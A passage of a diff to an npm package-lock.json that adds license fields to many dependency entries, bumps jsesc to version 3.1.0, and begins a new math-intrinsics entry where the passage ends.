         "chalk": "^2.0.1",
         "jest-diff": "^24.9.0",
@@ -5159,6 +5764,7 @@
       "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-24.9.0.tgz",
       "integrity": "sha512-oCj8FiZ3U0hTP4aSui87P4L4jC37BtQwUMqk+zk/b11FR19BJDeZsZAvIHutWnmtw7r85UmR3CEWZ0HWU2mAlw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/code-frame": "^7.0.0",
         "@jest/test-result": "^24.9.0",
@@ -5178,6 +5784,7 @@
       "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-24.9.0.tgz",
       "integrity": "sha512-3BEYN5WbSq9wd+SyLDES7AHnjH9A/ROBwmz7l2y+ol+NtSFO8DYiEBzoO1CeFc9a8DYy10EO4dDFVv/wN3zl1w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0"
       },
@@ -5190,6 +5797,7 @@
       "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz",
       "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       },
@@ -5207,6 +5815,7 @@
       "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-24.9.0.tgz",
       "integrity": "sha512-05Cmb6CuxaA+Ys6fjr3PhvV3bGQmO+2p2La4hFbU+W5uOc479f7FdLXUWXw4pYMAhhSZIuKHwSXSu6CsSBAXQA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -5216,6 +5825,7 @@
       "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-24.9.0.tgz",
       "integrity": "sha512-TaLeLVL1l08YFZAt3zaPtjiVvyy4oSA6CRe+0AFPPVX3Q/VI0giIWWoAvoS5L96vj9Dqxj4fB5p2qrHCmTU/MQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "browser-resolve": "^1.11.3",
@@ -5232,6 +5842,7 @@
       "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-24.9.0.tgz",
       "integrity": "sha512-Fm7b6AlWnYhT0BXy4hXpactHIqER7erNgIsIozDXWl5dVm+k8XdGVe1oTg1JyaFnOxarMEbax3wyRJqGP2Pq+g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "jest-regex-util": "^24.3.0",
@@ -5246,6 +5857,7 @@
       "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-1.11.3.tgz",
       "integrity": "sha512-exDi1BYWB/6raKHmDTCicQfTkqwN5fioMFV4j8BsfMU4R2DK/QfZfK7kOVkmWCNANf0snkBzqGqAJBao9gZMdQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "resolve": "1.1.7"
       }
@@ -5254,13 +5866,15 @@
       "version": "1.1.7",
       "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz",
       "integrity": "sha512-9znBF0vBcaSN3W2j7wKvdERPwqTxSpCq+if5C0WoTCyV9n24rua28jeuQ2pL/HOf+yUe/Mef+H/5p60K0Id3bg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/jest-runner": {
       "version": "24.9.0",
       "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-24.9.0.tgz",
       "integrity": "sha512-KksJQyI3/0mhcfspnxxEOBueGrd5E4vV7ADQLT9ESaCzz02WnbdbKWIf5Mkaucoaj7obQckYPVX6JJhgUcoWWg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^24.7.1",
         "@jest/environment": "^24.9.0",
@@ -5291,6 +5905,7 @@
       "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-24.9.0.tgz",
       "integrity": "sha512-8oNqgnmF3v2J6PVRM2Jfuj8oX3syKmaynlDMMKQ4iyzbQzIG6th5ub/lM2bCMTmoTKM3ykcUYI2Pw9xwNtjMnw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^24.7.1",
         "@jest/environment": "^24.9.0",
@@ -5328,6 +5943,7 @@
       "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
       "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "string-width": "^3.1.0",
         "strip-ansi": "^5.2.0",
@@ -5339,6 +5955,7 @@
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
       "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
       "dev": true,
+      "license": "ISC",
       "engines": {
         "node": "6.* || 8.* || >= 10.*"
       }
@@ -5348,6 +5965,7 @@
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz",
       "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "emoji-regex": "^7.0.1",
         "is-fullwidth-code-point": "^2.0.0",
@@ -5362,6 +5980,7 @@
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
       "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^4.1.0"
       },
@@ -5373,13 +5992,15 @@
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.1.tgz",
       "integrity": "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/jest-runtime/node_modules/wrap-ansi": {
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz",
       "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ansi-styles": "^3.2.0",
         "string-width": "^3.0.0",
@@ -5393,13 +6014,15 @@
       "version": "4.0.3",
       "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz",
       "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/jest-runtime/node_modules/yargs": {
       "version": "13.3.2",
       "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz",
       "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cliui": "^5.0.0",
         "find-up": "^3.0.0",
@@ -5418,6 +6041,7 @@
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz",
       "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "camelcase": "^5.0.0",
         "decamelize": "^1.2.0"
@@ -5428,6 +6052,7 @@
       "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-24.9.0.tgz",
       "integrity": "sha512-DxYipDr8OvfrKH3Kel6NdED3OXxjvxXZ1uIY2I9OFbGg+vUkkg7AGvi65qbhbWNPvDckXmzMPbK3u3HaDO49bQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 6"
       }
@@ -5437,6 +6062,7 @@
       "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-24.9.0.tgz",
       "integrity": "sha512-uI/rszGSs73xCM0l+up7O7a40o90cnrk429LOiK3aeTvfC0HHmldbd81/B7Ix81KSFe1lwkbl7GnBGG4UfuDew==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/types": "^7.0.0",
         "@jest/types": "^24.9.0",
@@ -5461,6 +6087,7 @@
       "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
       "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
       "dev": true,
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       }
@@ -5470,6 +6097,7 @@
       "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-24.9.0.tgz",
       "integrity": "sha512-x+cZU8VRmOJxbA1K5oDBdxQmdq0OIdADarLxk0Mq+3XS4jgvhG/oKGWcIDCtPG0HgjxOYvF+ilPJQsAyXfbNOg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/console": "^24.9.0",
         "@jest/fake-timers": "^24.9.0",
@@ -5493,6 +6121,7 @@
       "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
       "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -5502,6 +6131,7 @@
       "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-24.9.0.tgz",
       "integrity": "sha512-HPIt6C5ACwiqSiwi+OfSSHbK8sG7akG8eATl+IPKaeIjtPOeBUd/g3J7DghugzxrGjI93qS/+RPKe1H6PqvhRQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/types": "^24.9.0",
         "camelcase": "^5.3.1",
@@ -5519,6 +6149,7 @@
       "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-24.9.0.tgz",
       "integrity": "sha512-+/fLOfKPXXYJDYlks62/4R4GoT+GU1tYZed99JSCOsmzkkF7727RqKrjNAxtfO4YpGv11wybgRvCjR73lK2GZw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/test-result": "^24.9.0",
         "@jest/types": "^24.9.0",
@@ -5537,6 +6168,7 @@
       "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-24.9.0.tgz",
       "integrity": "sha512-51PE4haMSXcHohnSMdM42anbvZANYTqMrr52tVKPqqsPJMzoP6FYYDVqahX/HrAoKEKz3uUPzSvKs9A3qR4iVw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "merge-stream": "^2.0.0",
         "supports-color": "^6.1.0"
@@ -5550,6 +6182,7 @@
       "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
       "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "has-flag": "^3.0.0"
       },
@@ -5561,13 +6194,15 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
       "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/js-yaml": {
       "version": "3.14.1",
       "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
       "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "argparse": "^1.0.7",
         "esprima": "^4.0.0"
@@ -5580,13 +6215,15 @@
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
       "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/jsdom": {
       "version": "11.12.0",
       "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-11.12.0.tgz",
       "integrity": "sha512-y8Px43oyiBM13Zc1z780FrfNLJCXTL40EWlty/LXUtcjykRBNgLlCjWXpfSPBl2iv+N7koQN+dvqszHZgT/Fjw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "abab": "^2.0.0",
         "acorn": "^5.5.3",
@@ -5621,6 +6258,7 @@
       "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.4.tgz",
       "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -5629,39 +6267,44 @@
       }
     },
     "node_modules/jsesc": {
-      "version": "2.5.2",
-      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
-      "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==",
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz",
+      "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "jsesc": "bin/jsesc"
       },
       "engines": {
-        "node": ">=4"
+        "node": ">=6"
       }
     },
     "node_modules/json-parse-better-errors": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
       "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/json-schema": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
       "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==",
-      "dev": true
+      "dev": true,
+      "license": "(AFL-2.1 OR BSD-3-Clause)"
     },
     "node_modules/json-schema-traverse": {
       "version": "0.4.1",
       "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
-      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+      "license": "MIT"
     },
     "node_modules/json-stable-stringify": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-0.0.1.tgz",
       "integrity": "sha512-nKtD/Qxm7tWdZqJoldEC7fF0S41v0mWbeaXG3637stOWfyGxTgWTYE2wtfKmjzpvxv2MA2xzxsXOIiwUpkX6Qw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "jsonify": "~0.0.0"
       }
@@ -5670,18 +6313,21 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
       "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/json-stringify-safe": {
       "version": "5.0.1",
       "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
       "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/json5": {
       "version": "0.5.1",
       "resolved": "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz",
       "integrity": "sha512-4xrs1aW+6N5DalkqSVA8fxh458CXvR99WU8WLKmq4v8eWAL86Xo3BVqyd3SkA9wEVjCMqyvvRRkshAdOnBp5rw==",
+      "license": "MIT",
       "bin": {
         "json5": "lib/cli.js"
       }
@@ -5690,6 +6336,7 @@
       "version": "2.4.0",
       "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-2.4.0.tgz",
       "integrity": "sha512-PKllAqbgLgxHaj8TElYymKCAgrASebJrWpTnEkOaTowt23VKXXN0sUeriJ+eh7y6ufb/CC5ap11pz71/cM0hUw==",
+      "license": "MIT",
       "optionalDependencies": {
         "graceful-fs": "^4.1.6"
       }
@@ -5699,6 +6346,7 @@
       "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.1.tgz",
       "integrity": "sha512-2/Ki0GcmuqSrgFyelQq9M05y7PS0mEwuIzrf3f1fPqkVDVRvZrPZtVSMHxdgo8Aq0sxAOb/cr2aqqA3LeWHVPg==",
       "dev": true,
+      "license": "Public Domain",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -5710,13 +6358,15 @@
       "dev": true,
       "engines": [
         "node >= 0.2.0"
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/JSONStream": {
       "version": "1.3.5",
       "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz",
       "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==",
       "dev": true,
+      "license": "(MIT OR Apache-2.0)",
       "dependencies": {
         "jsonparse": "^1.2.0",
         "through": ">=2.2.7 <3"
@@ -5733,6 +6383,7 @@
       "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz",
       "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert-plus": "1.0.0",
         "extsprintf": "1.3.0",
@@ -5748,6 +6399,7 @@
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
       "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -5756,6 +6408,7 @@
       "version": "1.3.1",
       "resolved": "https://registry.npmjs.org/klaw/-/klaw-1.3.1.tgz",
       "integrity": "sha512-TED5xi9gGQjGpNnvRWknrwAB1eL5GciPfVFOt3Vk1OJCVDQbzuSfrF3hkUQKlsgKrG1F+0t5W0m+Fje1jIt8rw==",
+      "license": "MIT",
       "optionalDependencies": {
         "graceful-fs": "^4.1.9"
       }
@@ -5765,6 +6418,7 @@
       "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz",
       "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -5774,6 +6428,7 @@
       "resolved": "https://registry.npmjs.org/labeled-stream-splicer/-/labeled-stream-splicer-2.0.2.tgz",
       "integrity": "sha512-Ca4LSXFFZUjPScRaqOcFxneA0VpKZr4MMYCljyQr4LIewTLb3Y0IUTIsnBBsVubIeEfxeSZpSjSsRM8APEQaAw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "inherits": "^2.0.1",
         "stream-splicer": "^2.0.0"
@@ -5783,6 +6438,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz",
       "integrity": "sha512-YiGkH6EnGrDGqLMITnGjXtGmNtjoXw9SVUzcaos8RBi7Ps0VBylkq+vOcY9QE5poLasPCR849ucFUkl0UzUyOw==",
+      "license": "MIT",
       "dependencies": {
         "invert-kv": "^1.0.0"
       },
@@ -5795,13 +6451,15 @@
       "resolved": "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
       "integrity": "sha512-XI5MPzVNApjAyhQzphX8BkmKsKUxD4LdyK24iZeQGinBN9yTQT3bFlCBy/aVx2HrNcqQGsdot8ghrjyrvMCoEA==",
       "deprecated": "use String.prototype.padStart()",
-      "dev": true
+      "dev": true,
+      "license": "WTFPL"
     },
     "node_modules/leven": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz",
       "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -5811,6 +6469,7 @@
       "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz",
       "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "prelude-ls": "~1.1.2",
         "type-check": "~0.3.2"
@@ -5824,6 +6483,7 @@
       "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-4.0.0.tgz",
       "integrity": "sha512-Kx8hMakjX03tiGTLAIdJ+lL0htKnXjEZN6hk/tozf/WOuYGdZBJrZ+rCJRbVCugsjB3jMLn9746NsQIf5VjBMw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.1.2",
         "parse-json": "^4.0.0",
@@ -5839,6 +6499,7 @@
       "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
       "integrity": "sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -5848,6 +6509,7 @@
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
       "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^3.0.0",
         "path-exists": "^3.0.0"
@@ -5859,25 +6521,29 @@
     "node_modules/lodash": {
       "version": "4.17.21",
       "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
-      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
+      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+      "license": "MIT"
     },
     "node_modules/lodash.memoize": {
       "version": "3.0.4",
       "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-3.0.4.tgz",
       "integrity": "sha512-eDn9kqrAmVUC1wmZvlQ6Uhde44n+tXpqPrN8olQJbttgh0oKclk+SF54P47VEGE9CEiMeRwAP8BaM7UHvBkz2A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/lodash.sortby": {
       "version": "4.7.0",
       "resolved": "https://registry.npmjs.org/lodash.sortby/-/lodash.sortby-4.7.0.tgz",
       "integrity": "sha512-HDWXG8isMntAyRF5vZ7xKuEvOhT4AhlRt/3czTSjvGUxjYCBVRQY48ViDHyfYz9VIoBkW4TMGQNapx+l3RUwdA==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/loose-envify": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
       "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "js-tokens": "^3.0.0 || ^4.0.0"
       },
@@ -5890,6 +6556,7 @@
       "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
       "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "yallist": "^3.0.2"
       }
@@ -5899,6 +6566,7 @@
       "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.1.tgz",
       "integrity": "sha512-sCuTz6pYom8Rlt4ISPFn6wuFodbKMIHUMv4Qko9P17dpxb7s52KJTmRuZZqHdGmLCK9AOcDare039nRIcfdkEg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "sourcemap-codec": "^1.4.1"
       }
@@ -5908,6 +6576,7 @@
       "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
       "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "pify": "^4.0.1",
         "semver": "^5.6.0"
@@ -5920,13 +6589,15 @@
       "version": "1.3.6",
       "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
       "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/makeerror": {
       "version": "1.0.12",
       "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz",
       "integrity": "sha512-JmqCvUhmt43madlpFzG4BQzG2Z3m6tvQDNKdClZnO3VbIudJYmxsT0FNJMeiB2+JTSlTQTSbU8QdesVmwJcmLg==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "tmpl": "1.0.5"
       }
@@ -5936,6 +6607,7 @@
       "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
       "integrity": "sha512-8y/eV9QQZCiyn1SprXSrCmqJN0yNRATe+PO8ztwqrvrbdRLA3eYJF0yaR0YayLWkMbsQSKWS9N2gPcGEc4UsZg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -5945,6 +6617,7 @@
       "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz",
       "integrity": "sha512-7N/q3lyZ+LVCp7PzuxrJr4KMbBE2hW7BT7YNia330OFxIf4d3r5zVpicP2650l7CPN6RM9zOJRl3NGpqSiw3Eg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -5954,6 +6627,7 @@
       "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
       "integrity": "sha512-4y7uGv8bd2WdM9vpQsiQNo41Ln1NvhvDRuVt0k2JZQ+ezN2uaQes7lZeZ+QQUHOLQAtDaBJ+7wCbi+ab/KFs+w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "object-visit": "^1.0.0"
       },
@@ -5961,11 +6635,22 @@
         "node": ">=0.10.0"
       }
     },
+    "node_modules/math-intrinsics": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
